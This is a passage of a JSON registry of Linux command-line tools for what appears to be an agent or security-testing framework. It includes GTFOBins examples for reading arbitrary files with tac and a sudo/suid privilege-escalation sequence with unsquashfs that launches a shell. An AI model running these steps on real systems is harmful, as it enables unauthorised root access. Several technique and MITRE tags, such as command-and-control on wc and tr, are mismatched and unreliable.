    ],
    "mitre_ids": [
      "T1191"
    ],
    "name": "strings",
    "namespace": "system:file:strings",
    "parameters": [
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Scan the entire file, not just the data section [default]",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Only scan the data sections in the file",
        "aliases": [
          "-d",
          "--data"
        ],
        "flag": "-d"
      },
      {
        "name": "print-file-name",
        "template_key": "print-file-name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the name of the file before each string",
        "aliases": [
          "-f",
          "--print-file-name"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Locate & print any sequence of at least <number>",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "displayable characters. (The default is 4)",
        "aliases": [
          "--bytes"
        ],
        "flag": "--bytes"
      },
      {
        "name": "radix",
        "template_key": "radix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the location of the string in base 8, 10 or 16",
        "aliases": [
          "-t",
          "--radix"
        ],
        "flag": "-t"
      },
      {
        "name": "include-all-whitespace I",
        "template_key": "include-all-whitespace-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-w",
          "--include-all-whitespace I"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "An alias for --radix=o",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "target",
        "template_key": "target",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify the binary file format",
        "aliases": [
          "-T",
          "--target"
        ],
        "flag": "-T"
      },
      {
        "name": "encoding",
        "template_key": "encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit",
        "aliases": [
          "-e",
          "--encoding"
        ],
        "enum": [
          "b,l"
        ],
        "flag": "-e"
      },
      {
        "name": "unicode",
        "template_key": "unicode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--unicode"
        ],
        "flag": "--unicode"
      },
      {
        "name": "flag-U",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify how to treat UTF-8 encoded unicode characters",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "output-separator",
        "template_key": "output-separator",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s",
          "--output-separator"
        ],
        "flag": "-s"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display this information",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the program's version number",
        "aliases": [
          "-v",
          "-V",
          "--version"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "credential-access",
      "defense-evasion",
      "execution",
      "persistence",
      "privilege-escalation",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# tac\n\ntac is a command-line utility. Concatenate and print files in reverse; can also read arbitrary files.\n",
    "_source": "tac.md",
    "allowed-tools": [
      "tac"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Concatenate and print files in reverse order; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "tac -s 'RANDOM' /path/to/input-file"
      }
    ],
    "execution": {
      "template": "tac",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "system-file-tac",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "tac",
    "namespace": "system:file:tac",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tac/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# tail — Output the last part of files\n\n## Overview\n\n`tail` is a command-line utility for output the last part of files.\n\n## Usage\n\n```\ntail -c {bytes} -f {follow} -F {flag-f} -n {lines} -q {quiet}\n```\n",
    "_source": "tail.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.tail",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Output the last part of files",
    "examples": [
      {
        "description": "Basic usage with bytes",
        "command": "tail ${bytes}"
      },
      {
        "description": "Display help message",
        "command": "tail --help"
      }
    ],
    "execution": {
      "template": "tail -c {bytes} -f {follow} -F {flag-f} -n {lines} -q {quiet}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "id": "system-file-tail",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "tail",
    "namespace": "system:file:tail",
    "parameters": [
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output the last NUM bytes; or use -c +NUM to output starting with byte NUM of each file --debug indicate which --follow implementation is used",
        "aliases": [
          "-c",
          "--bytes"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as --follow=name --retry",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "follow",
        "template_key": "follow",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output appended data as the file grows; an absent option argument means 'descriptor'",
        "aliases": [
          "-f",
          "--follow"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "lines",
        "template_key": "lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output the last NUM lines, instead of the last 10; or use -n +NUM to skip NUM-1 lines at the start --max-unchanged-stats=N with --follow=name, reopen a FILE which has not changed size after N (default 5) iterations to see if it has been unlinked or renamed (this is the usual case of rotated log files); with inotify, this option is rarely useful --pid=PID with -f, exit after PID no longer exists; can be repeated to watch multiple processes",
        "aliases": [
          "-n",
          "--lines"
        ],
        "flag": "-n"
      },
      {
        "name": "max_unchanged_stats",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--max-unchanged-stats"
        ],
        "flag": "--max-unchanged-stats"
      },
      {
        "name": "pid",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--pid"
        ],
        "flag": "--pid"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "never output headers giving file names --retry keep trying to open a file if it is inaccessible",
        "aliases": [
          "-q",
          "--quiet",
          "--silent"
        ],
        "flag": "-q"
      },
      {
        "name": "retry",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "sleep-interval",
        "template_key": "sleep-interval",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "with -f, sleep for approximately N seconds (default 1.0) between iterations; with inotify and --pid=P, check process P at least once every N seconds",
        "aliases": [
          "-s",
          "--sleep-interval"
        ],
        "flag": "-s"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "always output headers giving file names",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "zero-terminated",
        "template_key": "zero-terminated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "line delimiter is NUL, not newline --help display this help and exit --version output version information and exit",
        "aliases": [
          "-z",
          "--zero-terminated"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-head"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# tr — Translate or delete characters\n\n## Overview\n\n`tr` is a command-line utility for translate or delete characters.\n\n## Usage\n\n```\ntr -c {complement} -d {delete} -s {squeeze-repeats} -t {truncate-set1} -t {flag-t}\n```\n",
    "_source": "tr.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.tr",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Translate or delete characters",
    "examples": [
      {
        "description": "Basic usage with complement",
        "command": "tr ${complement}"
      },
      {
        "description": "Display help message",
        "command": "tr --help"
      }
    ],
    "execution": {
      "template": "tr -c {complement} -d {delete} -s {squeeze-repeats} -t {truncate-set1} -t {flag-t}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-tr",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "tr",
    "namespace": "system:file:tr",
    "parameters": [
      {
        "name": "complement",
        "template_key": "complement",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use the complement of ARRAY1",
        "aliases": [
          "-c",
          "-C",
          "--complement"
        ],
        "flag": "-c"
      },
      {
        "name": "delete",
        "template_key": "delete",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete characters in ARRAY1, do not translate",
        "aliases": [
          "-d",
          "--delete"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "squeeze-repeats",
        "template_key": "squeeze-repeats",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "replace each sequence of a repeated character that is listed in the last specified ARRAY, with a single occurrence of that character",
        "aliases": [
          "-s",
          "--squeeze-repeats"
        ],
        "flag": "-s"
      },
      {
        "name": "truncate-set1",
        "template_key": "truncate-set1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "first truncate ARRAY1 to length of ARRAY2 --help display this help and exit --version output version information and exit",
        "aliases": [
          "-t",
          "--truncate-set1"
        ],
        "flag": "-t"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "post-exploitation",
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "text-process-awk",
      "text-process-sed",
      "text-search-grep"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "command-and-control",
      "persistence"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# uniq — Report or omit repeated lines\n\n## Overview\n\n`uniq` is a command-line utility for report or omit repeated lines.\n\n## Usage\n\n```\nuniq -c {count} -d {repeated} -D {flag-d} -f {skip-fields} -i {ignore-case}\n```\n",
    "_source": "uniq.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.uniq",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Report or omit repeated lines",
    "examples": [
      {
        "description": "Display help message",
        "command": "uniq --help"
      }
    ],
    "execution": {
      "template": "uniq -c {count} -d {repeated} -D {flag-d} -f {skip-fields} -i {ignore-case}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-uniq",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "uniq",
    "namespace": "system:file:uniq",
    "parameters": [
      {
        "name": "all_repeated",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--all-repeated"
        ],
        "flag": "--all-repeated"
      },
      {
        "name": "check-chars",
        "template_key": "check-chars",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "compare no more than N characters in lines --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--check-chars"
        ],
        "flag": "-w"
      },
      {
        "name": "count",
        "template_key": "count",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "prefix lines by the number of occurrences",
        "aliases": [
          "-c",
          "--count"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print all duplicate lines --all-repeated[=METHOD] like -D, but allow separating groups with an empty line; METHOD={none(default),prepend,separate}",
        "aliases": [
          "-D"
        ],
        "enum": [
          "none(default),prepend,separate"
        ],
        "flag": "-D"
      },
      {
        "name": "group",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--group"
        ],
        "flag": "--group"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore differences in case when comparing",
        "aliases": [
          "-i",
          "--ignore-case"
        ],
        "flag": "-i"
      },
      {
        "name": "repeated",
        "template_key": "repeated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only print duplicate lines, one for each group",
        "aliases": [
          "-d",
          "--repeated"
        ],
        "flag": "-d"
      },
      {
        "name": "skip-chars",
        "template_key": "skip-chars",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "avoid comparing the first N characters",
        "aliases": [
          "-s",
          "--skip-chars"
        ],
        "flag": "-s"
      },
      {
        "name": "skip-fields",
        "template_key": "skip-fields",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "avoid comparing the first N fields --group[=METHOD] show all items, separating groups with an empty line; METHOD={separate(default),prepend,append,both}",
        "aliases": [
          "-f",
          "--skip-fields"
        ],
        "enum": [
          "separate(default),prepend,append,both"
        ],
        "flag": "-f"
      },
      {
        "name": "unique",
        "template_key": "unique",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only print unique lines",
        "aliases": [
          "-u",
          "--unique"
        ],
        "flag": "-u"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "zero-terminated",
        "template_key": "zero-terminated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "line delimiter is NUL, not newline",
        "aliases": [
          "-z",
          "--zero-terminated"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-cat",
      "system-file-comm",
      "system-file-sort",
      "system-file-wc"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# unsquashfs\n\nunsquashfs is a command-line utility. Extract SquashFS filesystem images.\n",
    "_source": "unsquashfs.md",
    "allowed-tools": [
      "unsquashfs"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Extract SquashFS filesystem images; can read arbitrary files.",
    "examples": [
      {
        "description": "Privilege-escalation (sudo, suid)",
        "command": "unsquashfs shell\n./squashfs-root/sh -p"
      }
    ],
    "execution": {
      "template": "unsquashfs",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-file-unsquashfs",
    "install": [
      {
        "method": "apt",
        "package_name": "squashfs-tools",
        "commands": [
          "apt-get install -y squashfs-tools"
        ]
      }
    ],
    "name": "unsquashfs",
    "namespace": "system:file:unsquashfs",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/unsquashfs/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# wc — Print newline, word, and byte counts\n\n## Overview\n\n`wc` is a command-line utility for print newline, word, and byte counts.\n\n## Usage\n\n```\nwc -c {bytes} -m {chars} -l {lines} -L {max-line-length} -w {words}\n```\n",
    "_source": "wc.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.wc",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Print newline, word, and byte counts",
    "examples": [
      {
        "description": "Basic usage with bytes",
        "command": "wc ${bytes}"
      },
      {
        "description": "Display help message",
        "command": "wc --help"
      }
    ],
    "execution": {
      "template": "wc -c {bytes} -m {chars} -l {lines} -L {max-line-length} -w {words}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-wc",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "wc",
    "namespace": "system:file:wc",
    "parameters": [
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the byte counts",
        "aliases": [
          "-c",
          "--bytes"
        ],
        "flag": "-c"
      },
      {
        "name": "chars",
        "template_key": "chars",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the character counts",
        "aliases": [
          "-m",
          "--chars"
        ],
        "flag": "-m"
      },
      {
        "name": "files0_from",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--files0-from"
        ],
        "flag": "--files0-from"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "lines",
        "template_key": "lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the newline counts --debug indicate what line count acceleration is used --files0-from=F read input from the files specified by NUL-terminated names in file F; If F is -, read names from standard input",
        "aliases": [
          "-l",
          "--lines"
        ],
        "flag": "-l"
      },
      {
        "name": "max-line-length",
        "template_key": "max-line-length",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the maximum display width",
        "aliases": [
          "-L",
          "--max-line-length"
        ],
        "flag": "-L"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "words",
        "template_key": "words",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the word counts --total=WHEN when to print a line with total counts; WHEN can be: auto, always, only, never --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--words"
        ],
        "flag": "-w"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-cat",
      "system-file-comm",
      "system-file-sort",
      "system-file-uniq"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# xargs — Build and execute command lines from standard input\n\n## Overview\n\n`xargs` is a command-line utility for build and execute command lines from standard input.\n\n## Usage\n\n```\nxargs -0 {null} -a {arg-file} -d {delimiter} -E {flag-e} -e {eof}\n```\n",
    "_source": "xargs.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.xargs",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Build and execute command lines from standard input",
    "examples": [
      {
        "description": "Basic usage with null",
        "command": "xargs ${null}"
      },
      {
        "description": "Display help message",
        "command": "xargs --help"
      },
      {
        "description": "Find all file names ending with .pdf, then remove them.",
        "command": "find -name \\*.pdf | xargs rm"
      },
      {
        "description": "The above, however, is better-written without xargs:",
        "command": "find -name \\*.pdf -exec rm {} \\+"
      },
      {
        "description": "Although it's best to use find's own functionality, in this situation.",
        "command": "find -name \\*.pdf -delete"
      },
      {
        "description": "Find all file names ending with '.pdf' and remove them. This approach also handles filenames with '\\n' and skips '*.pdf' directories. The xargs(1) flag `-r` is equivalent to `--no-run-if-empty`, and the use of `-n` will in this case group execution by 10 files.",
        "command": "find -name \\*.pdf -type f -print0 | xargs -0 -r -n 10 rm"
      },
      {
        "description": "If file names may contains spaces, you can use the xargs(1) flag `-I` and its proceeding argument to specify the filename placeholder, as in find(1)'s use of `{}` in `-exec`. Although find(1)'s `{}` needs not be cuddled by quotes, - xargs(1) does.",
        "command": "find -name \\*.pdf | xargs -I {} rm -r '{}'"
      },
      {
        "description": "Print a list of files in the format of `*FILE=`. The use of xargs(1) flag `-n` here with its argument of `1` means to process the files one-by-one.",
        "command": "find -name \\*.pdf | xargs -I {} -n 1 echo '&{}='"
      },
      {
        "description": "The above is, however, much faster, more efficient, and easier without xargs.",
        "command": "find -name \\*.pdf -printf '&%f=\\n'"
      },
      {
        "description": "Group words by three in a string.",
        "command": "seq 1 10 | xargs -n 3"
      },
      {
        "description": "Alternatively, and more efficiently, use Bash brace expansion, if available.",
        "command": "printf '%d ' {1..10} | xargs -n 3"
      }
    ],
    "execution": {
      "template": "xargs -0 {null} -a {arg-file} -d {delimiter} -E {flag-e} -e {eof}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-xargs",
    "install": [
      {
        "method": "apt",
        "package_name": "findutils",
        "commands": [
          "apt-get install -y findutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "findutils",
        "commands": [
          "brew install findutils"
        ]
      }
    ],
    "name": "xargs",
    "namespace": "system:file:xargs",
    "parameters": [
      {
        "name": "null",
        "template_key": "null",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "items are separated by a null, not whitespace",
        "aliases": [
          "-0",
          "--null"
        ],
        "flag": "-0"
      },
      {
        "name": "arg-file",
        "template_key": "arg-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read arguments from FILE, not standard input",
        "aliases": [
          "-a",
          "--arg-file"
        ],
        "flag": "-a"
      },
      {
        "name": "delimiter",
        "template_key": "delimiter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "items in input stream are separated by CHARACTER",
        "aliases": [
          "-d",
          "--delimiter"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-E",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set logical EOF string; if END occurs as a line",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      },
      {
        "name": "eof",
        "template_key": "eof",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to -E END if END is specified",
        "aliases": [
          "-e",
          "--eof"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as --replace=R",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "replace",
        "template_key": "replace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "replace R in INITIAL-ARGS with names read",
        "aliases": [
          "-i",
          "--replace"
        ],
        "flag": "-i"
      },
      {
        "name": "max-lines",
        "template_key": "max-lines",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "use at most MAX-LINES non-blank input lines per",
        "aliases": [
          "-L",
          "-L",
          "--max-lines"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "similar to -L but defaults to at most one non-",
        "aliases": [
          "-l",
          "-L"
        ],
        "flag": "-l"
      },
      {
        "name": "max-args",
        "template_key": "max-args",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "use at most MAX-ARGS arguments per command line",
        "aliases": [
          "-n",
          "-A",
          "--max-args"
        ],
        "flag": "-n"
      },
      {
        "name": "open-tty",
        "template_key": "open-tty",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Reopen stdin as /dev/tty in the child process",
        "aliases": [
          "-o",
          "--open-tty"
        ],
        "flag": "-o"
      },
      {
        "name": "max-procs",
        "template_key": "max-procs",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "run at most MAX-PROCS processes at a time",
        "aliases": [
          "-P",
          "-P",
          "--max-procs"
        ],
        "flag": "-P"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt before running commands",
        "aliases": [
          "-p",
          "--interactive"
        ],
        "flag": "-p"
      },
      {
        "name": "process-slot-var",
        "template_key": "process-slot-var",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set environment variable VAR in child processes",
        "aliases": [
          "--process-slot-var"
        ],
        "flag": "--process-slot-var"
      },
      {
        "name": "no-run-if-empty",
        "template_key": "no-run-if-empty",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "if there are no arguments, then do not run COMMAND",
        "aliases": [
          "-r",
          "--no-run-if-empty"
        ],
        "flag": "-r"
      },
      {
        "name": "max-chars",
        "template_key": "max-chars",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "limit length of command line to MAX-CHARS",
        "aliases": [
          "-s",
          "-C",
          "--max-chars"
        ],
        "flag": "-s"
      },
      {
        "name": "show-limits",
        "template_key": "show-limits",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show limits on command-line length",
        "aliases": [
          "--show-limits"
        ],
        "flag": "--show-limits"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print commands before executing them",
        "aliases": [
          "-t",
          "--verbose"
        ],
        "flag": "-t"
      },
      {
        "name": "exit",
        "template_key": "exit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exit if the size (see -s) is exceeded",
        "aliases": [
          "-x",
          "--exit"
        ],
        "flag": "-x"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-find"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# xxd — Hex dump or reverse hex dump\n\n## Overview\n\n`xxd` is a command-line utility for hex dump or reverse hex dump.\n\n## Usage\n\n```\nxxd -a {flag-a} -b {flag-b} -c {flag-c} -e {flag-e} -g {flag-g}\n```\n",
    "_source": "xxd.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.xxd",
      "system.file.search",
      "system.file.process",
